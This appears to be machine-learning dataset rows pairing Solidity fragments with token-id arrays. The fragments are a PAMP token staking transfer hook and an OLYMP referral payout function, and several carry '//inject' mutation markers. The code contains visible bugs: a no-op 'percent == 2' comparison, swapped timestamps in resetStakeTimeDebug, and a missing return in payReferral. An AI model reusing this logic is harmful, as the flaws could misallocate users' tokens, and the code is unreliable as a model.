uint mm = mulmod (x, y, z);
if (mm > l) h -= 1;
l -= mm;
uint pow2 = z & -z;
z /= pow2;
l /= pow2;
l += h * ((-pow2) / pow2 + 1);
uint r = 1;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
return l * r;
}
function fullMul (uint x, uint y) private pure returns (uint l, uint h) {
uint mm = mulmod (x, y, uint (-1));
l = x * y;
h = mm - l;
if (mm < l) h -= 1;
}
// Hooks the transfer() function on pamptoken. All transfers call this function. Takes in sender, recipient address and balances and amount and returns sender balance, recipient balance, and burned amount
function transferHook(address sender, address recipient, uint256 amount, uint256 senderBalance, uint256 recipientBalance) public onlyToken returns (uint256, uint256, uint256) { //inject PUBLIC FUNC TO EXTERNAL
if(sender == liquidityStakingContract) {
// Liquidity staking rewards are now part of inflation.
return (senderBalance, recipientBalance.add(amount), 0);
}
if(checkPreviousStakingContractWhitelist){ // Check the previous contract whitelists to ensure we are up-to-date
string memory whitelistSender = previousStakingContract.getWhitelist(sender);
string memory whitelistRecipient = previousStakingContract.getWhitelist(recipient);
if(bytes(whitelistSender).length > 0) {
whitelist[sender] = whitelistSender;
}
if(bytes(whitelistRecipient).length > 0) {
whitelist[recipient] = whitelistRecipient;
}
}
assert(freeze == false);
assert(sender != recipient);
assert(amount > 0);
assert(senderBalance >= amount);
uint totalAmount = amount;
bool shouldAddStaker = true; // We assume that the recipient is a potential staker (not a smart contract)
uint burnedAmount = 0;
if (enableBurns && bytes(whitelist[sender]).length == 0 && bytes(whitelist[recipient]).length == 0) { // Burns are enabled and neither the recipient nor the sender are whitelisted
burnedAmount = mulDiv(amount, burnFee(), 100); // Amount to be burned
if (blacklist[recipient] > 0) { //Transferring to a blacklisted address incurs a specific fee
burnedAmount = mulDiv(amount, blacklist[recipient], 100); // Calculate the fee. The fee is burnt
shouldAddStaker = false; // Blacklisted addresses will never be stakers. Could be an issue if the blacklisted address already is a staker, but likely not an issue
}
if (burnedAmount > 0) {
if (burnedAmount > amount) {
totalAmount = 0;
} else {
totalAmount = amount.sub(burnedAmount);
}
senderBalance = senderBalance.sub(burnedAmount, "ERC20: burn amount exceeds balance"); // Remove the burned amount from the sender's balance
}
} else if (recipient == uniswapV2Pair) { // Uniswap was used. This is a special case. Uniswap is burn on receive but whitelist on send, so sellers pay fee and buyers do not.
shouldAddStaker = false;
if (enableUniswapDirectBurns && bytes(uniwhitelist[sender]).length == 0) { // We check if burns are enabled and if the sender is whitelisted
burnedAmount = mulDiv(amount, uniswapSellerBurnPercent, 100); // Seller fee
if (burnedAmount > 0) {
if (burnedAmount > amount) {
totalAmount = 0;
} else {
totalAmount = amount.sub(burnedAmount);
}
senderBalance = senderBalance.sub(burnedAmount, "ERC20: burn amount exceeds balance");
}
}
}
if (bytes(whitelist[recipient]).length > 0) {
shouldAddStaker = false;
} else if (recipientBalance >= minStake && checkPreviousStakingContractWhitelist) { // We use checkPreviousStakingContractWhitelist because we don't want to create a new boolean with a setter
assert(stakers[recipient].hasMigrated); // The staker is not whitelisted so must migrate or reset their staking time in order to receive a balance
}
// Here we calculate the percent of the balance an address is receiving. If the address receives too many tokens, the staking time and last time rewards were claimed is reset to block.timestamp
// This is necessary because otherwise funds could move from address to address with no penality and thus an individual could claim multiple times with the same funds
if (shouldAddStaker && stakers[recipient].startTimestamp > 0 && recipientBalance > 0) { // If you are currently staking, these should all be true
assert(stakers[recipient].hasMigrated); // The staker must migrate their staking time in order to receive a balance
uint percent = mulDiv(1000000, totalAmount, recipientBalance); // This is not really 'percent' it is just a number that represents the totalAmount as a fraction of the recipientBalance. We divide by 2 to reduce the effects
if(percent == 0) {
percent == 2;
}
percent = percent.div(2); // Divide it by 2 so it's not as harsh
if(percent.add(stakers[recipient].startTimestamp) > block.timestamp) { // We represent the 'percent' as seconds and add to the recipient's unix time
stakers[recipient].startTimestamp = block.timestamp;
} else {
stakers[recipient].startTimestamp = stakers[recipient].startTimestamp.add(percent); // Receiving too many tokens resets your holding time
}
if(percent.add(stakers[recipient].lastTimestamp) > block.timestamp) {
stakers[recipient].lastTimestamp = block.timestamp;
} else {
stakers[recipient].lastTimestamp = stakers[recipient].lastTimestamp.add(percent); // Receiving too many tokens may make you ineligible to claim the next day
}
} else if (shouldAddStaker && recipientBalance == 0 && (stakers[recipient].startTimestamp > 0 || stakers[recipient].lastTimestamp > 0)) { // Invalid state, so we reset their data/remove them
delete stakers[recipient];
numStakers--;
emit StakerRemoved(recipient);
}
senderBalance = senderBalance.sub(totalAmount, "ERC20: transfer amount exceeds balance"); // Normal ERC20 transfer
recipientBalance = recipientBalance.add(totalAmount);
if (shouldAddStaker && stakers[recipient].startTimestamp == 0 && (totalAmount >= minStake || recipientBalance >= minStake)) { // If the recipient was not previously a staker and their balance is now greater than minStake, we add them automatically
numStakers++;
stakers[recipient] = staker(block.timestamp, block.timestamp, true);
emit StakerAdded(recipient);
}
if (senderBalance < minStake) { // If the sender's balance is below the minimum stake, we remove them automatically
// Remove staker
delete stakers[sender];
numStakers--;
emit StakerRemoved(sender);
} else {
stakers[sender].startTimestamp = block.timestamp; // Sending tokens automatically resets your 'holding time'
stakers[sender].lastTimestamp = block.timestamp; // Can't claim after sending tokens
stakers[sender].hasMigrated = true; // Can't claim after sending tokens
}
return (senderBalance, recipientBalance, burnedAmount);
}
function burnFee() internal view returns (uint256) { // Determines the transaction burn fee
return transferBurnPercent;
}
function burn(address account, uint256 amount) public onlyOwner { // We allow ourselves to burn tokens in case they were minted due to a bug //inject PUBLIC FUNC TO EXTERNAL
token._burn(account, amount);
}
function liquidityRewards(address recipient, uint amount) public { // For future liquidity rewards contract (calling mint is better than adding to recipient balance) //inject PUBLIC FUNC TO EXTERNAL
require(msg.sender == liquidityStakingContract);
token.mint(recipient, amount);
}
function resetStakeTimeDebug(address account, uint startTimestamp, uint lastTimestamp, bool migrated) public onlyOwner { // We allow ourselves to reset stake times in case they get changed incorrectly due to a bug //inject PUBLIC FUNC TO EXTERNAL
stakers[account].lastTimestamp = startTimestamp;
stakers[account].startTimestamp = lastTimestamp;
stakers[account].hasMigrated = migrated;
}
}
|
Parent token contract, see Pamp.sol
|
abstract contract PampToken {
function balanceOf(address account) public view virtual returns (uint256);
function _burn(address account, uint256 amount) external virtual;
function mint(address account, uint256 amount) public virtual;
}
| 1,072,174 |
[
1,
4625,
348,
7953,
560,
30,
225,
9520,
1147,
6835,
16,
2621,
453,
931,
18,
18281,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
17801,
6835,
453,
931,
1345,
288,
203,
565,
445,
11013,
951,
12,
2867,
2236,
13,
1071,
1476,
5024,
1135,
261,
11890,
5034,
1769,
203,
565,
445,
389,
70,
321,
12,
2867,
2236,
16,
2254,
5034,
3844,
13,
3903,
5024,
31,
203,
565,
445,
312,
474,
12,
2867,
2236,
16,
2254,
5034,
3844,
13,
1071,
5024,
31,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/43114/0x43C263a40De709EfE72cfc2aD7E6a1e775968138/sources/OLYMP.sol
|
* @dev This will calc and pay referral to uplines instantly @param value The number tokens will be calculated in referral process @return the total referral bonus paid/ Get Account Reference If no address, break from loop Overwrite loop values with next 'level' of referral Calculations for referralcount/referrallevel Transfer funds to Parent Sum of how much paid to referrals alltogether Update total Reward Emit event
|
function payReferral(address referee, uint256 value)
internal
returns (uint256)
{
require(referralsEnabled, "Referral System Disabled");
ReferralStorage.Account memory account = referralStorage.getReferralAccount(referee);
address accountAddress = referee;
uint256 totalReferal;
for (uint256 i; i < levelRate.length; i++) {
if (account.referrer == address(0)) {
break;
}
if (
(onlyRewardActiveReferrers &&
isReferrerActive(account.referrer)) || !onlyRewardActiveReferrers
) {
accountAddress = account.referrer;
account = referralStorage.getReferralAccount(accountAddress);
uint256 c = value;
c = c.mul(levelRate[i]).div(decimals);
c = c.mul(getRefereeBonusRate(account.referredCount)).div(
decimals
);
olymp.safeTransfer(accountAddress, c);
totalReferal = totalReferal.add(c);
referralStorage.setAccountReward(
accountAddress,
account.reward.add(c)
);
emit PaidReferral(referee, account.referrer, c, i + 1);
}
}
}
| 4,520,864 |
[
1,
4625,
348,
7953,
560,
30,
380,
632,
5206,
1220,
903,
7029,
471,
8843,
1278,
29084,
358,
582,
412,
1465,
5934,
715,
632,
891,
460,
1021,
1300,
2430,
903,
506,
8894,
316,
1278,
29084,
1207,
632,
2463,
326,
2078,
1278,
29084,
324,
22889,
30591,
19,
968,
6590,
6268,
971,
1158,
1758,
16,
898,
628,
2798,
29747,
2798,
924,
598,
1024,
296,
2815,
11,
434,
1278,
29084,
15994,
1012,
364,
1278,
29084,
1883,
19,
1734,
29084,
2815,
12279,
284,
19156,
358,
9520,
9352,
434,
3661,
9816,
30591,
358,
1278,
370,
1031,
777,
88,
717,
2437,
2315,
2078,
534,
359,
1060,
16008,
871,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
8843,
1957,
29084,
12,
2867,
8884,
1340,
16,
2254,
5034,
460,
13,
203,
3639,
2713,
203,
3639,
1135,
261,
11890,
5034,
13,
203,
565,
288,
203,
3639,
2583,
12,
1734,
370,
1031,
1526,
16,
315,
1957,
29084,
2332,
28970,
8863,
203,
203,
3639,
3941,
29084,
3245,
18,
3032,
3778,
2236,
273,
1278,
29084,
3245,
18,
588,
1957,
29084,
3032,
12,
266,
586,
1340,
1769,
203,
3639,
1758,
2236,
1887,
273,
8884,
1340,
31,
203,
203,
3639,
2254,
5034,
2078,
426,
586,
287,
31,
203,
203,
3639,
364,
261,
11890,
5034,
277,
31,
277,
411,
1801,
4727,
18,
2469,
31,
277,
27245,
288,
203,
5411,
309,
261,
4631,
18,
1734,
11110,
422,
1758,
12,
20,
3719,
288,
203,
7734,
898,
31,
203,
5411,
289,
203,
203,
5411,
309,
261,
203,
7734,
261,
3700,
17631,
1060,
3896,
1957,
370,
414,
597,
203,
10792,
353,
1957,
11110,
3896,
12,
4631,
18,
1734,
11110,
3719,
747,
401,
3700,
17631,
1060,
3896,
1957,
370,
414,
203,
5411,
262,
288,
203,
203,
7734,
2236,
1887,
273,
2236,
18,
1734,
11110,
31,
203,
7734,
2236,
273,
1278,
29084,
3245,
18,
588,
1957,
29084,
3032,
12,
4631,
1887,
1769,
203,
203,
7734,
2254,
5034,
276,
273,
460,
31,
203,
7734,
276,
273,
276,
18,
16411,
12,
2815,
4727,
63,
77,
65,
2934,
2892,
12,
31734,
1769,
203,
7734,
276,
273,
276,
18,
16411,
12,
588,
426,
586,
1340,
38,
22889,
4727,
12,
4631,
18,
266,
4193,
1380,
13,
2934,
